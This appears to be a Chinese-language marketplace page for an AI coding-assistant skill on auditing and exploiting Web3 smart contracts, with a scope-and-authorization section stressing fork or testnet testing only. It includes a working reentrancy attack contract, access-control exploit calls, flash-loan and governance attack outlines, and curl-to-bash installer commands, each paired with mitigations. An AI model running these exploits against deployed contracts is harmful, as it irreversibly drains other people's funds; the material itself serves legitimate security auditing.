mcpField
E
exploiting-web3-smart-contracts

exploiting-web3-smart-contracts

github.com/trilwu安全177130 次安装12 周前更新
代码仓库

关于 exploiting-web3-smart-contracts

面向智能合约审计人员和 Web3 测试人员的安全技能,涵盖合约、DeFi 协议及 NFT 平台的漏洞分析。通过利用示例与缓解方法说明风险,并强调在分叉或测试网上验证发现,而非操作真实合约。

主要功能

  1. 01检查常见合约漏洞
  2. 02涵盖 DeFi 与 NFT 攻击模式
  3. 03提供 Solidity 示例与缓解方法
  4. 04列出分析和测试工具
  5. 05强调在分叉与测试网上验证

适用场景

  1. 01评估智能合约的访问控制缺陷
  2. 02在模拟环境中测试 DeFi 逻辑
  3. 03检查预言机与抢先交易风险
  4. 04评估 NFT 铸造和元数据风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-web3-smart-contracts

安装后在 Claude Code 中输入/exploiting-web3-smart-contracts确认已加载。

附带文件references/tooling-and-testing.md

详细介绍

利用 Web3 和智能合约

适用场景

  • 智能合约安全审计
  • DeFi 协议测试
  • Web3 应用渗透测试
  • 区块链漏洞评估
  • NFT 平台安全

范围与授权。 已部署到主网的合约不是测试目标。 它是一个托管他人资金的在线系统,而且无需许可——因此从技术上讲没有什么能阻止你——但一旦进行交易,操作就不可逆。这些都不意味着你获得了利用合约的授权。

  • 在分叉链上测试,绝不触碰主网。 在本地分叉链 (Anvil、Hardhat、Tenderly)或测试网部署上验证每项发现。没有正当理由对在线合约运行有效的漏洞利用。
  • 相关法律尚未定论——这应当让你保持谨慎,而不是心存侥幸。 两起备受关注的起诉最终对利用者有利:2023 年 12 月,巴黎法院宣判 Platypus Finance 案中的两名被告无罪,认为调用公开智能合约不属于未经授权访问,操纵紧急提款也不符合欺诈标准;2025 年 5 月,美国法官因审判地点问题以及缺乏充分的虚假陈述证据,撤销了 Avraham Eisenberg 在 Mango Markets 案中的定罪,检方已对此裁决提起上诉。不要将这些裁决理解为许可。两案都取决于特定司法管辖区的事实,Platypus 案法院明确表示民事责任仍未解决;而在所有这些案件中,被告都曾遭逮捕、资金被扣押,并经历数年诉讼才最终胜诉。最终胜诉不等于获得授权。
  • 漏洞赏金计划的范围狭窄且按字面执行。 Immunefi 类计划通常要求在分叉链上提供验证,禁止在主网上利用漏洞和影响真实用户,并规定了具体的披露渠道。测试前应阅读具体计划的范围,而不是事后才看。
  • 未经审计 ≠ 已被遗弃。 部署者匿名或不活跃,并不意味着合约无人所有;存款人仍是可识别的受害者。

对于你不拥有的合约,只能基于源代码进行分析和模拟,并通过项目公布的渠道或协调平台披露问题。

不适用场景

  • dApp 前端或后端中的常规 Web 漏洞——使用 testing-web-applications 和 auditing-code-for-vulnerabilities
  • 密码学原语审查——使用 reviewing-cryptography
  • 撰写审计报告——使用 reporting-security-findings

环境设置

安装工具:

# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs

# Hardhat (Ethereum development)
npm install --save-dev hardhat

# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Slither (static analysis)
pip3 install slither-analyzer

# Mythril (security analysis)
pip3 install mythril

连接到网络:

// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');

// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');

常见智能合约漏洞

1. 重入攻击

存在漏洞的合约:

contract Vulnerable {
    mapping(address => uint) public balances;

    function withdraw() public {
        uint amount = balances[msg.sender];
        // Vulnerable: external call before state update
        (bool success,) = msg.sender.call{value: amount}("");
        require(success);
        balances[msg.sender] = 0;  // State update after call
    }
}

利用方法:

contract Attack {
    Vulnerable victim;

    constructor(address _victim) {
        victim = Vulnerable(_victim);
    }

    function attack() public payable {
        victim.deposit{value: 1 ether}();
        victim.withdraw();
    }

    fallback() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();  // Reenter
        }
    }
}

防护措施:

  • 检查-效果-交互模式
  • ReentrancyGuard 修饰符
  • 使用 transfer() 代替 call()
2. 整数溢出/下溢

存在漏洞的代码(Solidity < 0.8.0):

function transfer(address _to, uint256 _value) public {
    require(balances[msg.sender] - _value >= 0);  // Can underflow
    balances[msg.sender] -= _value;
    balances[_to] += _value;  // Can overflow
}

利用方法:

// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)

防护措施:

  • 使用 Solidity >= 0.8.0(自动检查)
  • 使用 SafeMath 库
  • 手动检查溢出
3. 访问控制问题

存在漏洞的代码:

function withdraw() public {
    // Missing access control!
    msg.sender.transfer(address(this).balance);
}

function setOwner(address _owner) public {
    owner = _owner;  // Anyone can become owner
}

利用方法:

// Call withdraw from any address
await contract.withdraw();

// Become owner
await contract.setOwner(attackerAddress);

防护措施:

modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
}

function withdraw() public onlyOwner {
    msg.sender.transfer(address(this).balance);
}
4. 未检查的外部调用

存在漏洞的代码:

function callExternal(address target) public {
    target.call("");  // Return value not checked
}

function sendEther(address payable recipient) public {
    recipient.send(1 ether);  // Silently fails if send() returns false
}

防护措施:

(bool success,) = target.call("");
require(success, "Call failed");
5. Delegatecall 注入

存在漏洞的代码:

function forward(address _target, bytes memory _data) public {
    _target.delegatecall(_data);  // Executes in contract's context
}

利用方法:

// Attacker can modify contract storage
// Call selfdestruct()
// Change owner

防护措施:

  • 避免对用户可控地址使用 delegatecall
  • 将允许的目标地址列入白名单
  • 改用库
6. 抢先交易 / MEV

场景:

// DEX swap at specific price
function swap(uint256 amountIn) public {
    uint256 amountOut = getAmountOut(amountIn);
    // Attacker sees this in mempool
    // Submits transaction with higher gas to execute first
    // Changes the price before victim's tx
}

MEV 攻击:

  • 抢先交易
  • 跟随交易
  • 三明治攻击
  • 清算
  • 套利

缓解措施:

  • 提交-揭示方案
  • 私有内存池(Flashbots)
  • 滑点保护
  • 尽量减少链上信息披露
7. 价格预言机操纵

存在漏洞的代码:

// Using single DEX as price source
function getPrice() public view returns (uint256) {
    return uniswapPair.getReserves();
}

利用方法:

// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit

防护措施:

  • 使用时间加权平均价格(TWAP)
  • 使用多个预言机来源(Chainlink)
  • 延迟更新价格
  • 设置价格上下限
8. 拒绝服务

易受攻击:

function distribute() public {
    for (uint i = 0; i < users.length; i++) {
        users[i].transfer(amount);  // Can run out of gas
    }
}

function withdraw() public {
    // Winner takes all
    require(msg.sender == topBidder);
    msg.sender.transfer(address(this).balance);
}

利用方式:

  • 创建一个拒绝接收以太币的合约(在回退函数中回滚)
  • 成为最高出价者
  • 阻止任何人获胜

防范措施:

  • 采用拉取而非推送模式
  • 设置 Gas 限制
  • 设置紧急停止机制

审计工具

有关详细的工具专属命令参考(Slither、Mythril、Securify、 Echidna、Manticore)以及 Hardhat/Foundry 测试框架,请参阅 references/tooling-and-testing.md。

DeFi 专属攻击

闪电贷攻击
interface IFlashLoan {
    function flashLoan(uint256 amount) external;
}

contract FlashLoanExploit {
    function exploit() external {
        // 1. Borrow flash loan
        IFlashLoan(lender).flashLoan(1000000 ether);
    }

    function executeOperation(uint256 amount) external {
        // 2. Manipulate price oracle
        // 3. Exploit vulnerable contract
        // 4. Repay flash loan + fee
        // 5. Keep profit
    }
}
无常损失利用
  • 操纵资金池比例
  • 从流动性提供者处提取价值
  • 套利价格差异
治理攻击
// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan

Web3 前端漏洞

钱包连接:

// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature

// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;

交易模拟:

// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome

区块链取证

Etherscan API:

# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."

# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."

交易分析:

// Get transaction
const tx = await web3.eth.getTransaction(txHash);

// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);

// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });

事件监控:

// Listen for events
contract.on("Transfer", (from, to, amount) => {
    console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});

// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);

NFT 专属漏洞

元数据操纵:

  • 集中式元数据存储
  • 可变的 tokenURI
  • IPFS 固定问题

铸造漏洞利用:

// Reentrancy in minting
function mint() external payable {
    require(msg.value == price);
    (bool success,) = owner.call{value: msg.value}("");  // Vulnerable
    _mint(msg.sender, tokenId++);
}

版税绕过:

  • 直接转移 NFT
  • 绕过市场手续费
  • 洗售交易

在主网分叉上测试

Hardhat 和 Foundry 的主网分叉配置记录在 references/tooling-and-testing.md 中。

工具概要

分析:

  • Slither - 静态分析器
  • Mythril - 安全扫描器
  • Manticore - 符号执行工具
  • Echidna - 模糊测试器

开发:

  • Hardhat - 开发环境
  • Foundry - 基于 Rust 的工具包
  • Remix - 在线 IDE
  • Truffle - 开发框架

监控:

  • Etherscan - 区块浏览器
  • Tenderly - 调试平台
  • OpenZeppelin Defender - 安全监控

安全最佳实践

  1. 使用最新版本的 Solidity(>= 0.8.0)
  2. 遵循 检查-效果-交互模式
  3. 限制 外部调用
  4. 验证 所有输入
  5. 使用 成熟的库(OpenZeppelin)
  6. 实施 访问控制
  7. 添加 紧急暂停功能
  8. 进行 专业审计
  9. 充分使用 测试网
  10. 监控 部署后的合约

参考资料

评论

支持 Markdown